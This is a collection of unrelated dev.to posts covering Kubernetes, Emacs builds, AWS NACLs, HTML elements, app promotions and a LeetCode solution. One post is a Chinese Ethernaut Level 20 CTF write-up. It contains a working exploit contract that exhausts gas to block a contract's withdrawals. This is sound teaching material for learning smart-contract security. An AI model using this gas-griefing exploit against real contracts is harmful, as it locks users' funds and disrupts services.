teleren/devto huggingface dataset:
Namespace as a Service
Tags: kubernetes, comparison, beginners, tips
Published: 2022-06-02 08:19:05

##### Multitenancy in kubernetes
[Kubernetes documentation](https://kubernetes.io/blog/2021/04/15/three-tenancy-models-for-kubernetes/) describes 3 models of multitenancy:
- namespace as a service
- cluster as a service
- control-plane as a service

---
Namespaces are the means of *soft* isolation in kubernetes
> In Kubernetes, namespaces provides a mechanism for isolating groups of resources within a single cluster. Names of resources need to be unique within a namespace, but not across namespaces. Namespace-based scoping is applicable only for namespaced objects (e.g. Deployments, Services, etc) and not for cluster-wide objects (e.g. StorageClass, Nodes, PersistentVolumes, etc).
_From kubernetes.io/docs_

Kubernetes clusters generally being aggregations of computational blocks it makes sense to make them multi-tenant from an economic and efficient use of underlying infrastructure perspective.

In this series we will explore multiple solutions "Namespace as a Service" (for multitenancy within a kubernetes cluster). For the sake of simplicity we will keep RBAC (authentication and authorization) out of the discussion.

---
**Contenders**
- Namespace as a service (using vanilla kubernetes objects)
- Hierarchical namespaces
- vCluster from Loft labs
- Kiosk from Loft labs
- Capsule from Calstix
Installing Emacs 28.1 on a shared aging OS
Tags: emacs
Published: 2022-06-02 08:18:58

---
title: Installing Emacs 28.1 on a shared aging OS
published: true
description: 
tags: emacs
//cover_image: https://direct_url_to_image.jpg
---

I want to use Emacs 28.1 on aging OS that I mustn't modify /usr. I tried Docker but I want to use local command too. SBCL didn't work properly on old Docker. So I install Emacs from a source tarball to my home directory.

However, Emacs failed to verify TLS certs. So I installed GNUTLS, Nettle, Idn, and Unistring. 

```shell
#!/bin/bash

export PKG_CONFIG_PATH=$HOME/lib64/pkgconfig:$HOME/lib/pkgconfig
export LD_RUN_PATH=$HOME/lib:$HOME/lib64
export LD_LIBRARY_PATH=$HOME/lib:$HOME/lib64
export LDFLAGS="-L$HOME/lib -L$HOME/lib64"

rm -rf libunistring-1.0 libidn2-2.3.2 nettle-3.6 gmp-6.2.1 emacs-28.1

curl https://ftp.gnu.org/gnu/libunistring/libunistring-1.0.tar.gz | tar -xzvf - && \
     pushd libunistring-1.0 && \
     ./configure --prefix=$HOME && \
     make -j `nproc` && \
     make install && \
     popd || exit 1

curl https://ftp.gnu.org/gnu/libidn/libidn2-2.3.2.tar.gz | tar -xzvf - && \
    pushd libidn2-2.3.2 && \
    ./configure --prefix=$HOME && \
    make -j `nproc` && \
    make install && \
    popd || exit 1

curl https://ftp.gnu.org/gnu/nettle/nettle-3.6.tar.gz | tar xzvf - && \
     pushd nettle-3.6 && \
     ./configure --prefix=$HOME --enable-mini-gmp && \
     make -j `nproc` && \
     make install && \
     popd || exit 1 

curl https://www.gnupg.org/ftp/gcrypt/gnutls/v3.7/gnutls-3.7.6.tar.xz | tar xJvf - && \
     pushd gnutls-3.7.6 && \
     ./configure --prefix=$HOME && \
     make -j `nproc` && \
     make install && \
     cd .. || exit 1

curl http://ftp.gnu.org/pub/gnu/emacs/emacs-28.1.tar.gz | tar -xzvf - &&
     pushd emacs-28.1 && \
     ./configure --prefix=$HOME --with-x-toolkit=no --with-xpm=no --with-jpeg=no --with-jpeg=no --with-gif=no --with-tiff=no --with-png=no && \
     make -j `nproc` && \
     make install && \
     cd .. || exit 1

echo
echo
echo "Emacs 28.1 must be ready!"
echo
```
A Nice Developer Joke For Today
Tags: jokes, dailydeveloperjokes
Published: 2022-06-02 08:00:15

---
title: "A Nice Developer Joke For Today"
description: "Check out today's daily developer joke! (a project by Fred Adams at xtrp.io)"
series: "Daily Developer Jokes"
published: true
tags: #jokes, #dailydeveloperjokes
---

Hi there! Here's today's Daily Developer Joke. We hope you enjoy it; it's a good one.

![Joke Image](https://private.xtrp.io/projects/DailyDeveloperJokes/public_image_server/images/5e1259d54c109.png)

---

For more jokes, and to submit your own joke to get featured, check out the [Daily Developer Jokes Website](https://dailydeveloperjokes.github.io/). We're also open sourced, so feel free to view [our GitHub Profile](https://github.com/dailydeveloperjokes).

### Leave this post a ❤️ if you liked today's joke, and stay tuned for tomorrow's joke too!

_This joke comes from [Dad-Jokes GitHub Repo by Wes Bos](https://github.com/wesbos/dad-jokes) (thank you!), whose owner has given me permission to use this joke with credit._

<!--
Joke text:
___Q___: Did you here about the witch who was off by two when casting a hex?

___A___: They failed to make the target DEAD and made them DEAF instead!
 -->
Python Data Structures
Tags: python, vietnameseblogs
Published: 2022-06-02 07:54:11

Chào các bạn, mình là Tuấn. Hôm nay mình sẽ hướng dẫn các bạn về cấu trúc dữ liệu của Python sau khi tìm hiểu và tham khảo từ nhiều nguồn khác nhau. Bài viết có các tiêu đề chính như sau:

1. Các kiểu dữ liệu của Python
2. Một số hàm chính theo các cấu trúc dữ liệu của Python

---
# 1. Các kiểu dữ liệu của Python
Python có các kiểu dữ liệu mặc định như sau:
-Text type: str
-Numeric Types: int, float, complex
-Sequence Types: list, tuple, range
-Mapping Type: dict
-Set Types: set, frozenset
-Boolean Type: bool
-Binary Types: bytes, bytearray, memoryview
![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ciyw6wvggwz3ci3cev7u.png)
 
Ngoài ra có các dạng python collections(Arrays):
-List: là collection cho phép sắp xếp, có thể thay đổi và trùng lặp phần tử.
`list1 = ["apple", "banana", "cherry"]
list2 = [1, 5, 7, 9, 3]
list3 = [True, False, False]`
-Tuple: là collection cho phép sắp xếp và trùng lặp phần tử nhưng không thể thay đổi.
`mytuple = ("apple", "banana", "cherry")`
-Set: là collection không thể sắp xếp và không trùng lặp phần tử. Set không có index.
`myset = {"apple", "banana", "cherry"}`
-Dictionary: là collection không thể sắp xếp và không trùng lặp phần tử nhưng cho thay đổi. Dictionary chứa các dữ liểu dạng  key:value.
`thisdict = {
"brand": "Ford",
"model": "Mustang",
"year": 1964}`

---

# 2.Một số hàm chính theo các cấu trúc dữ liệu của Python


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kl4u32jplgyzxf6uq6h3.png)
<u>Nguồn tham khảo:</u> https://www.w3schools.com/python/default.asp
Should I start an Open-Source on my profile or my organization profile?
Tags: opensource, discuss, webdev, showdev
Published: 2022-06-02 07:17:55

Hi,
I'm planning to start my first open source project. I am just a little bit confused about where should I host it. Please advice me on this.
My personal Profile: [KhokonM](https://github.com/khokonm)
And my organization profile: [Blog Desire](https://github.com/Blog-Desire)
[AWS Quick Post] 1 - NACL
Tags: aws, vpc, networking, cloud
Published: 2022-06-01 23:10:00

> This AWS Quick Post series deals with simple but useful topics about AWS services. The series contains three parts:
1. What is ... => Talk about the definitions
2. Did you know ... => Talk about interesting features, properties, etc.
3. Conclusion => Conclude the post

## 1. What is ...

### NACL?

"A network access control list (ACL) is an **optional layer of security** for your VPC that acts as a firewall for controlling traffic in and out of one or more subnets." (Amazon Web Services)

So, it is optional. If you don't feel like it, don't need to set it up.

Also, NACL is stateless, **which makes it very different from Security Group.** 


### Stateful? Stateless?
But what does it mean by being stateful or stateless? By AWS official documentation, 

"These(NACLs) are stateless, meaning any change applied to an incoming rule **isn’t automatically applied to** an outgoing rule."(Amazon Web Services)

To simplify it, Security Group and NACL both have inbound rule and outbound rule. But the difference is that **Security Group's inbound rules must be same as its outbound rules** (and actually impossible to set those up differently). On the other hand, **NACL's inbound rules and outbound rules are separate, they can be the same, they can be different.**

The traffic flows as:

> NACL Inbound rules => Security Group rules => NACL Outbound rules.

### NACL Number Rule?

Each inbound/outbound rules has a number (1 - 32766). The the lower number will get the higher precedence.

## 2. Did you know ...

### Asterisk Number Rule?

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ovrlrhv7git63t71b9h4.png)

According to the official doc,

"Each network ACL also includes a rule whose rule number is an asterisk. ***This rule ensures that if a packet doesn't match any of the other numbered rules, it's denied.*** You can't modify or remove this rule." (Amazon Web Services)

### Default NACL?

Default NACL is attached with the default VPC. It accepts everything inbound/outbound with the subnets it’s associated with.

On the other hand, newly created NACLs will deny everything by default.

**One NACL per subnet,** new subnets are assigned the Default NACL

## 3. Conclusion

- There is always an default NACL attached to the default subnet.
- NACLs can be useful when you want to set up inbound rules and outbound rules differently.
- One NACL per subnet.
On the Difficulty of Counting the Number of HTML Elements
Tags: html
Published: 2022-06-02 06:49:51

How many HTML elements are there?

What looks like a fairly simple question, isn’t one:

<ul>
<li>Are you looking for the number of HTML elements in the <a href="https://html.spec.whatwg.org/multipage/">current and living specification</a>?</li>
<li>Are you looking for the number of HTML elements in a different HTML specification? (Which one?)</li>
<li>Are you looking for the number of HTML elements from <em>all</em> HTML specifications?</li>
<li>Are you looking for the number of HTML elements that were ever considered, i.e., that are also part of HTML <em>drafts</em>?</li>
<li>Are you also looking for proprietary HTML elements?</li>
<li>Are you looking for the number of HTML elements that are supported? (What does “supported” mean?)</li>
<li>Do you count container elements from other specifications, particularly <code>&lt;svg&gt;</code> and <code>&lt;math&gt;</code>, as elements of HTML, or not?</li>
<li>(How) do you count custom elements? (The HTML specification indicates <a href="https://html.spec.whatwg.org/multipage/indices.html#elements-3:autonomous-custom-element">the entire class of elements as one element</a>, and regularly, someone trips over this.)</li>
<li>Do you make a distinction between HTML and XHTML?</li>
</ul>

The answers to these questions lead to different answers about the number of HTML elements.

Many people may want to know the number of HTML elements as per the current specification. That still leaves the question how they treat SVG and MathML as well as custom elements. Custom elements are not countable and should probably be ignored. If <code>&lt;svg&gt;</code> and <code>&lt;math&gt;</code> are considered elements of their respective specifications, as of today (June 2, 2022), the answer is 111; if <code>&lt;svg&gt;</code> and <code>&lt;math&gt;</code> are considered HTML elements, 113.

If you’re looking for the number of HTML and XHTML elements formally specified, the answer is 131 or 133, that is, without or with <code>&lt;svg&gt;</code> and <code>&lt;math&gt;</code>. (I maintain an <a href="https://meiert.com/en/indices/html-elements/">HTML elements index</a> that makes this easy to tell.)

If you’re looking for all elements specified in HTML&nbsp;1, it’s 22 elements; in HTML&nbsp;2.0, 49 elements; in HTML&nbsp;3.2, 70 elements; in HTML&nbsp;4.01, 91 elements; in (unofficial) HTML&nbsp;5.2, 111 elements. In XHTML&nbsp;1.0, 91 elements; but in XHTML&nbsp;1.1, a “strict” spec, 83 elements.

You notice that the answer to the number of HTML elements isn’t actually difficult; it only needs qualification because there isn’t <em>one</em> number of HTML elements. When you talk about the number of HTML elements, make clear what you’re including and excluding; and when you’re reading about it, check on what the author is including and excluding. This way, you avoid all difficulty and inaccuracy.
Ethernaut系列-Level 20(Denial)
Published: 2022-06-02 06:38:05

## LEVEL 20 （Denial）:
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Denial {

    using SafeMath for uint256;
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address payable public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance.div(100);
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call.value(amountToSend)("");
        owner.transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = now;
        withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}
```
## 通关要求
   阻止withdraw成功转账

##要点
  调用call方法失败(revert)会返回false

##解题思路
call(bytes memory) returns (bool, bytes memory)
如果调用的方法revert是不会中断执行的，方法只会返回false
不过有个例外就是gas耗尽，会中断执行
所以只要在partner的receive方法里耗掉gas即可中断
contracts/20DenialRun.sol
```solidity
contract DenialRun {
  uint noting;
  
  receive() external payable {
    while(true){
      noting = 1;
    }
  }

}
```
ahadith Collection app
Tags: flutter, dart, android, firebase
Published: 2022-06-02 06:31:55


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5pnt1bh5duilx6m2gy5m.png)

ahadith Collection brings you the hadiths of the prophet (pbuh) on your fingertips.
Enjoy Exploring the sunnah in English/ Urdu / Arabic

Here are the Links - 

[Promotion Video](https://www.youtube.com/watch?v=Q-TElwt5ZQs)
 
[Play Store download Link](https://play.google.com/store/apps/details?id=com.spicierewe.ahadith_collection)
Junior Dev Advocates 🥑? How much experience does one need for Developer Relations?
Tags: devrel, beginners, discuss, career
Published: 2022-06-02 06:27:41

---
title: Junior Dev Advocates 🥑? How much experience does one need for Developer Relations?
published: true
description: Gatekeeping in Developer Relations? How likely is it to graduate and have your first role in DevRel?
tags: devrel, beginners, discuss, career
---

When I began my career back in 2000, I literally started with empty hands. I had no professional experience in programming, I didn't have a degree, not in Computer Science nor any other field of studies. Gatekeeping wasn't as omnipresent as it is today. I ended up doing Developer Relations for global multi-billion-dollar companies. 

> Gatekeeping is the concept of intentionally making it hard for beginners to start their learning journey. It's aiming at protecting one's status and preventing competition. Not only in times of shortage of professionals, this is harmful behaviour.

To get into Developer Relations today, you usually need 3+ years of experience. Ideally you have a proven track record on contributing to a global community or even better - fame. A name that people in a global technical community recognise will not only impact your paycheck, it often is a requirement for the largest Tech companies. Juniors are rare, programs to help develop skills in the field are even rarer. 

Is this gatekeeping? Or is it justified, because you can't be a Developer Advocate without the name and the experience?
A Brief Introduction to Flutter and Dart for Novices
Tags: flutter, dart, beginners, tutorial
Published: 2022-06-02 06:27:30

Flutter is an open-source app development framework used to develop cross platform applications for Android, iOS, Linux, macOS, Windows, and the web from a single codebase. 

Dart is a programming language developed by google. It is basically google trying to make a mixture of java and javascript. It is an object-oriented, class-based, garbage-collected language with C-style syntax.

Pls note that flutter is not a programming language. It is a framework used to develop apps. Dart is a programming language. Flutter is built on dart. We can use dart without flutter, but we can't use flutter without dart.

**_So, How do I get Learn Flutter?_**

There are many, no no way too many resources on how to learn flutter. Here are my top recommendations.

[Flutter](https://flutter.dev/)
The Official Flutter Documentation

[Udemy](https://www.udemy.com/course/flutter-bootcamp-with-dart/)
Flutter Course on Udemy by Angela Yu

[Youtube](https://youtube.com/https://www.youtube.com/c/flutterdev/videos)
The Official Flutter Youtube Channel

[Youtube](https://www.youtube.com/watch?v=ewFH0l2CLFo)
Kalle Hallden's Video on how did he learn flutter so fast
Laravel vs CodeIgniter
Tags: laravel, codeignite, programming, productivity
Published: 2022-06-02 06:24:35


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/k2sywptzdn9vhsi0brna.png)

CodeIgniter is Object-oriented whereas [Laravel](https://wpwebinfotech.com/laravel-development/) is relational Object-Oriented. CodeIgniter doesn't come with built-in authentication features whereas Laravel comes with authentication class features. CodeIgniter doesn't have an inbuilt Unit testing tool while Laravel has an inbuilt Unit testing tool.
Al Qur'an app
Tags: flutter, dart, android, firebase
Published: 2022-06-02 06:23:18


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5j9oatzn9o10qsoe9vn4.png)Al Qur'an is free Qur'an app featuring the al Qur'an 
In 44 Language translations completely offline with tafsirs,
50+ reciters and translators. 
Featuring 40 rabbana duas,
Salah times,
Qibla compass,
Hijri calendar.
There also many more features in the app not possible to describe them all.

Here are the Links - 

[Promotion Video](https://www.youtube.com/watch?v=LQcFB_BXuRY)

[Play Store download link](https://play.google.com/store/apps/details?id=com.spicierewe.al_quran)
How to Auto Update WordPress Custom Theme and Plugin from Github
Tags: iamsajidjaved, wordpress, github, wordpressupdate
Published: 2022-06-02 06:04:35

Usually the developers submit their plugins to WordPress Plugins Directory from where the users can download and install on their WordPress websites. 

The process of submitting a plugin to the WordPress Plugin Directory is very simple and easy. You just need to submit your plugin for review. The WordPress team will review the plugin and if they found the plugin as per the WordPress standards then they will add it to the Plugins Directory.

But here in this article, we will discuss different requirements. Just assume your team created a theme or plugin for one of your customer and the source code is hosted on GitHub private repository. And a after a few days one of your team member add some more features for your customer and pushed the code to GitHub. Now will it not be cool if WordPress detects the changes on GitHub and auto update the theme/plugin or show you a message for update 😕?

For me, this will make my life much easier 🙂. Otherwise, I will need to follow the traditional way. The traditional way is:

1. Download the code from GitHub
2. Zip/Archive the code
3. Login to FTP/cPanel
4. Replace the old theme files.

Now think a bit more which process is easy for you? I think you will say "Automatic Way".

If you like the automatic way, then for what we're waiting lets start learning it. 

The process is very easy. I used [Plugin Update Checker](https://github.com/YahnisElsts/plugin-update-checker) library and recorded a video for you. I thought showing the process visually to the viewers are much better than reading.

This is the video link. [https://youtu.be/OxSasSZAtG4](https://youtu.be/OxSasSZAtG4)

Thanks
PICASSO GALLARY GIVEAWAY
Tags: nft, giveaway, eth
Published: 2022-06-02 06:02:10

[**PICASSO GALLARY**](http://linktr.ee/maunee)

We  have been developing  Some NFT projects As like  as  Picasso Gallary  and Champions land. We decided to make a  different art drawing styles, that is imaging of good things in our dreams who can enjoyed of them.


Each object of our projects is generated automatically by combining many layers  and absolutely main object make with handmade.
We like to See our Projects And  If you like them and  buy  We will send you another  NFT as gift .
We have a big roadmap for Our  projects . After  upload them, we are going to developing 3d objects .on the other hand , we have been trying to  increase our followers  in Twitter , Discord , Facebook, Telegram and ..  with airdrops ,giveaway  NFT and any marketing.
We are very glad to give any advice about anything that help us to developing and increase our projects. 
http://linktr.ee/maunee
LeetCode :-Implement strStr() with Solution
Tags: leetcode, java
Published: 2022-06-02 04:07:56

Hello DevCommunity

##Problem Statement

Implement strStr().

Given two strings needle and haystack, return the index of the first occurrence of needle in haystack, or -1 if needle is not part of haystack.

Clarification:

What should we return when needle is an empty string? This is a great question to ask during an interview.

For the purpose of this problem, we will return 0 when needle is an empty string. This is consistent to C's strstr() and Java's indexOf().

 

Example 1:

Input: haystack = "hello", needle = "ll"
Output: 2
Example 2:

Input: haystack = "aaaaa", needle = "bba"
Output: -1
 

Constraints:

1 <= haystack.length, needle.length <= 104
haystack and needle consist of only lowercase English characters.

##Solution

```
class Solution {
    public int strStr(String haystack, String needle) {
        return haystack.indexOf(needle);
    }
}
```

###Conclusion
In this article, we learned way to solve LeetCode Problem Implement strStr() using java.

**Checkout More about Me by visiting on below links**

[Rohan Ravindra Kadam Website](https://kadamrohan.com/ "https://kadamrohan.com/")
[Rohan Ravindra Kadam Blogs](https://rohankadam965.medium.com/ "https://rohankadam965.medium.com/")
[Instagram](https://www.instagram.com/rohankadam_codes/)

Thank You For Reading.Do like ❤ Share and Follow for more content like this.
Also share feedbacks and Solution in the comment section below